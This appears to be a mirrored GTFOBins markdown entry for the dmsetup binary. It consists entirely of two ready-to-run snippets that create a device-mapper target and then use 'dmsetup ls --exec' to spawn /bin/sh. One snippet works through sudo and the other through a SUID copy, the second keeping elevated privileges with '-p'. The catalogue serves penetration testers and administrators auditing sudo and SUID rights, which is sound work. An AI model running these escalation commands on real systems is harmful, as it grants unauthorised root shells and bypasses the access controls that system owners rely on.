mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
16 lines
334 B
Markdown
16 lines
334 B
Markdown
|
---
|
||
|
functions:
|
||
|
sudo:
|
||
|
- code: |
|
||
|
sudo dmsetup create base <<EOF
|
||
|
0 3534848 linear /dev/loop0 94208
|
||
|
EOF
|
||
|
sudo dmsetup ls --exec '/bin/sh -s'
|
||
|
suid:
|
||
|
- code: |
|
||
|
./dmsetup create base <<EOF
|
||
|
0 3534848 linear /dev/loop0 94208
|
||
|
EOF
|
||
|
./dmsetup ls --exec '/bin/sh -p -s'
|
||
|
---
|